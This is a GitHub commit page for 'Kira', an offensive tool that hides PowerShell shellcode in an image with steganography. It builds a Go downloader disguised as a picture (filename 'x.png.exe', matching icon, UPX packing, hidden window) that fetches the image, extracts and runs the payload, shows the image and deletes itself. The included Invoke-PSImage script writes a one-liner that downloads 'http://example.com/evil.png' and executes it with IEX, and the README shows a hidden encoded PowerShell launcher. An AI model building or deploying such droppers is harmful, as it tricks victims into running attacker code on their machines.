Skip to content

Commit 9439960

Browse files
committed
Added Script for Automation
1 parent 849fc65 commit 9439960

10 files changed

+330
-91
lines changed

.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
__pycache__
2+
tmp/
3+
dist/

README.md

+21-58
Original file line numberDiff line numberDiff line change
@@ -1,70 +1,33 @@
1-
# Invoke-PSImage Delivery
2-
3-
## What does this do?
4-
5-
**The binary will download the image from the url save it as `mia.png` and then run the powershell payload from within the Image and then show the image which it just downloaded. After this it will delete itself**
1+
# Invoke-PSImage Delivery (alias: Kira)
2+
║ K I R A
3+
╔════════ ╗
4+
║████████ ║
5+
║УA†нηΘ†E║
6+
║████████ ║
7+
║████████ ║
8+
║████████ ║
9+
║████████ ║
10+
╚════════
611

712

13+
## What does this do?
814

9-
1. Search for a Image
10-
2. get https://github.com/peewpw/Invoke-PSImage
11-
3. get `payload.ps1` and `bin.go` from this repo
12-
4. get rcedit (https://github.com/electron/rcedit)
13-
5. get upx
14-
6. get go
15-
15+
**Embed a Powershell base64 encoded Shellcode into an Image (Invoke-PSImage) an generate a Downloader for this Image. The Downloader will download the Image, extract the Shellcode and run it. Then it will delete itself and show the Image**
1616

17-
## "Building"
17+
## Using
1818

19-
1. Change Payload in `payload.ps1`
20-
*Default payload.ps1*
21-
```
22-
function InvokePayload
23-
{
24-
powershell.exe -w hidden -noni -nop -enc <encoded string>
25-
};
26-
```
19+
**Tested with Python 3.5 - ONLY WINDOWS SUPPORTED**
2720

28-
2. Build image
21+
Make sure that your Image is at least 720p (so that the payload can fit into the Image).
2922

23+
On Windows install *GOLang* and add it to your path.
3024
```
31-
PS> Import-Module .\Invoke-PSImage.ps1
32-
PS> Invoke-PSImage -Script .\payload.ps1 -Image your_image.jpg -Out evil_image.png
33-
```
34-
3. Copy the output (oneliner)
35-
4. Change line 31 in bin.go
25+
$ pip install -r requirements.txt
26+
$ python kira.py -img <your_img>
3627
```
37-
var hi string = `$path = -join($pwd.path, "\mia.png"); sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap($path);.....7647])); .\mia.png; del .\mia.png.exe; InvokePayload`
38-
```
39-
40-
Be sure to replace the `sal` part until the `;` with your oneliner.
41-
Then replace `System.Drawing.Bitmap(...)` with `System.Drawing.Bitmap($path)`
42-
43-
You should also change the filename (mine is mia.png(.exe))
44-
45-
46-
47-
6. Change your webserver url in line 29 (upload your evil_image.png from step 2. to this host)
48-
49-
7. Change the name `mia.png` to your desired name.
50-
8. Convert your original image to a ico. (i named it icon.ico)
51-
9. run `go build -ldflags="-s -w" bin.go` to build the go binary
52-
10. `.\rcedit.exe .\bin.exe --set-icon "icon.ico"`
53-
11. `.\upx.exe --ultra-brute -o mia.png.exe bin.exe` - Make sure to add the .exe after the filename which you chose the steps before
54-
55-
12. RUN
56-
57-
### What should happen:
58-
It should download the image from the URL which you specified.
59-
Then it should extract your payload.ps1 from this image and run the payload (from step 1).
60-
After this it opens the image which it downloaded (disguise) and deletes itself :)
61-
62-
63-
### why Mia.png???
64-
Cause i used a picture of [Mia Malkova](https://en.wikipedia.org/wiki/Mia_Malkova) for Testing.
65-
28+
Then follow the Instructions of the Script.
6629

67-
## Tools used
68-
[Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage) - Huge Props to this dude
30+
# Tools used
31+
[Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage) - *Huge Props to this dude*
6932

7033
[rcedit](https://github.com/electron/rcedit)

bin.go

-33
This file was deleted.

kira.py

+99
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
from util import banner, success, error, warning, info
2+
import sys, os
3+
import argparse
4+
import subprocess
5+
import shutil
6+
import time
7+
import platform
8+
from PIL import Image
9+
10+
def writeShellcode(sc):
11+
info("Reading Template...")
12+
with open('./res/payload.ps1', 'r') as p:
13+
payload = p.read().replace('\n', '')
14+
payload = payload.replace('<encoded>', sc)
15+
with open('./tmp/payload.ps1', 'w') as f:
16+
f.write(payload)
17+
success("Wrote Temp Payload!")
18+
19+
def makeEvilImage(img):
20+
info("Generating Image...")
21+
command = 'powershell -noprofile -executionpolicy bypass "Import-Module .\\res\\Invoke-PSImage.ps1; Invoke-PSImage -Script {0} -Image {1} -Out .\\dist\\{2}"'
22+
if not os.path.isdir('./dist'):
23+
os.makedirs('./dist')
24+
payload = ".\\tmp\\payload.ps1"
25+
outimg = img.split('.')
26+
outimg = outimg[0] + ".png"
27+
proc = subprocess.Popen(command.format(payload, img,outimg) ,
28+
stdout=subprocess.PIPE,
29+
stderr=subprocess.PIPE,
30+
shell=True)
31+
data = proc.communicate()[0]
32+
data = data.decode('utf-8').replace('\n', '')
33+
success("Done - Image is .\\dist\\{0}".format(outimg))
34+
info("Upload .\\dist\\{0} to a Webserver - NO IMGHOSTS SINCE THEY COMPRESS THE IMG".format(outimg))
35+
host = input("Direct Link: ")
36+
info("Reading Go Template")
37+
with open('./res/bin.go', 'r') as p:
38+
go_file = p.read()
39+
go_file = go_file.replace('<urlhere>', host)
40+
go_file = go_file.replace('<filename>', outimg)
41+
go_file = go_file.replace('<psimage_output>', data)
42+
bitmap_path = os.getcwd() + '\\dist\\' + outimg
43+
go_file = go_file.replace('"{0}"'.format(bitmap_path), '$path')
44+
info("Building Go Binary")
45+
with open('./tmp/bin.go', 'w') as f:
46+
f.write(go_file)
47+
proc = subprocess.Popen('go build -ldflags="-s -w -H=windowsgui" .\\tmp\\bin.go',
48+
stdout=subprocess.PIPE,
49+
stderr=subprocess.PIPE,
50+
shell=True)
51+
success("Build Binary")
52+
time.sleep(5)
53+
54+
#Change Icon
55+
icon = Image.open(img)
56+
icon.save('./tmp/icon.ico', sizes=[(255, 255)])
57+
subprocess.Popen('.\\res\\rcedit.exe bin.exe --set-icon .\\tmp\\icon.ico',
58+
stdout=subprocess.PIPE,
59+
stderr=subprocess.PIPE,
60+
shell=True)
61+
time.sleep(2)
62+
success("Icon Changed")
63+
shutil.copyfile("bin.exe", ".\\dist\\" + outimg + ".exe")
64+
os.remove("bin.exe")
65+
info("Your file is .\\dist\\{0}.exe".format(outimg))
66+
success("KTHXBYE")
67+
68+
def requirementsCheck(img):
69+
info("Checking Requirements")
70+
if not os.path.isdir('./tmp'):
71+
warning("tmp dir does not exist")
72+
os.makedirs('./tmp')
73+
success("Created tmp dir")
74+
sc = input("Paste your Powershell base64 shellcode:")
75+
writeShellcode(sc)
76+
makeEvilImage(img)
77+
78+
def cleanUp():
79+
info("Cleaning...")
80+
if os.path.isdir('./tmp'):
81+
shutil.rmtree('./tmp')
82+
83+
def main():
84+
banner()
85+
if not platform.system() == 'Windows':
86+
error("Only Windows is supported")
87+
sys.exit(2)
88+
if len(sys.argv) <= 1:
89+
error("Usage: kira.py -img <img>")
90+
else:
91+
parser = argparse.ArgumentParser(description='Hide a Powershell Payload in an Image')
92+
parser.add_argument('-img', metavar='image_name', type=str, help='Image to inject payload in')
93+
args = parser.parse_args()
94+
requirementsCheck(args.img)
95+
96+
cleanUp()
97+
98+
if __name__ == "__main__":
99+
main()

requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
pillow

res/Invoke-PSImage.ps1

+149
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
function Invoke-PSImage
2+
{
3+
<#
4+
.SYNOPSIS
5+
6+
Embeds a PowerShell script in an image and generates a oneliner to execute it.
7+
Author: Barrett Adams (@peewpw)
8+
9+
.DESCRIPTION
10+
11+
Embeds a PowerShell script in an image by editing the least significant 4 bits of
12+
2 color values (2 of RGB) in each pixel (for as many pixels as are needed for the payload).
13+
Image quality will suffer as a result, but it still looks decent. The image is saved as a
14+
PNG, and can be losslessly compressed without affecting the ability to execute the payload
15+
as the data is stored in the colors themselves. It can accept most image types as input, but
16+
output will always be a PNG because it needs to be lossless.
17+
18+
.PARAMETER Script
19+
20+
The path to the script to embed in the Image.
21+
22+
.PARAMETER Image
23+
24+
The image to embed the script in.
25+
26+
.PARAMETER Out
27+
28+
The file to save the resulting image to (image will be a PNG)
29+
30+
.PARAMETER Web
31+
32+
Output a command for reading the image from the web instead of reading from a file.
33+
You will need to host the image and insert the URL into the command.
34+
35+
.EXAMPLE
36+
37+
PS>Import-Module .\Invoke-PSImage.ps1
38+
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png
39+
[Oneliner to execute from a file]
40+
41+
#>
42+
43+
[CmdletBinding()] Param (
44+
[Parameter(Position = 0, Mandatory = $True)]
45+
[String]
46+
$Script,
47+
48+
[Parameter(Position = 1, Mandatory = $True)]
49+
[String]
50+
$Image,
51+
52+
[Parameter(Position = 2, Mandatory = $True)]
53+
[String]
54+
$Out,
55+
56+
[switch] $Web
57+
)
58+
# Stop if we hit an error instead of making more errors
59+
$ErrorActionPreference = "Stop"
60+
61+
# Load some assemblies
62+
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
63+
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")
64+
65+
# Normalize paths beacuse powershell is sometimes bad with them.
66+
if (-Not [System.IO.Path]::IsPathRooted($Script)){
67+
$Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
68+
}
69+
if (-Not [System.IO.Path]::IsPathRooted($Image)){
70+
$Image = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Image))
71+
}
72+
if (-Not [System.IO.Path]::IsPathRooted($Out)){
73+
$Out = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Out))
74+
}
75+
76+
# Read in the script
77+
$ScriptBlockString = [IO.File]::ReadAllText($Script)
78+
$input = [ScriptBlock]::Create($ScriptBlockString)
79+
$payload = [system.Text.Encoding]::ASCII.GetBytes($input)
80+
81+
# Read the image into a bitmap
82+
$img = New-Object System.Drawing.Bitmap($Image)
83+
84+
$width = $img.Size.Width
85+
$height = $img.Size.Height
86+
87+
# Lock the bitmap in memory so it can be changed programmatically.
88+
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
89+
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
90+
$ptr = $bmpData.Scan0
91+
92+
# Copy the RGB values to an array for easy modification
93+
$bytes = [Math]::Abs($bmpData.Stride) * $img.Height
94+
$rgbValues = New-Object byte[] $bytes;
95+
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);
96+
97+
# Check that the payload fits in the image
98+
if($bytes/2 -lt $payload.Length) {
99+
Write-Error "Image not large enough to contain payload!"
100+
$img.UnlockBits($bmpData)
101+
$img.Dispose()
102+
Break
103+
}
104+
105+
# Generate a random string to use to fill other pixel info in the picture.
106+
# (Calling get-random everytime is too slow)
107+
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
108+
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)
109+
110+
# loop through the RGB array and copy the payload into it
111+
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
112+
if ($counter -lt $payload.Length){
113+
$paybyte1 = [math]::Floor($payload[$counter]/16)
114+
$paybyte2 = ($payload[$counter] -band 0x0f)
115+
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
116+
} else {
117+
$paybyte1 = ($randb[$counter%113] -band 0x0f)
118+
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
119+
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
120+
}
121+
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
122+
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
123+
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
124+
}
125+
126+
# Copy the array of RGB values back to the bitmap
127+
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
128+
$img.UnlockBits($bmpData)
129+
130+
# Write the image to a file
131+
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
132+
$img.Dispose()
133+
134+
# Get a bunch of numbers we need to use in the oneliner
135+
$rows = [math]::Ceiling($payload.Length/$width)
136+
$array = ($rows*$width)
137+
$lrows = ($rows-1)
138+
$lwidth = ($width-1)
139+
$lpayload = ($payload.Length-2)
140+
141+
if($web) {
142+
$pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"http://example.com/evil.png`"));`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
143+
}
144+
else {
145+
$pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap(`"$Out`");`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
146+
}
147+
148+
return $pscmd
149+
}

0 commit comments

Comments
 (0)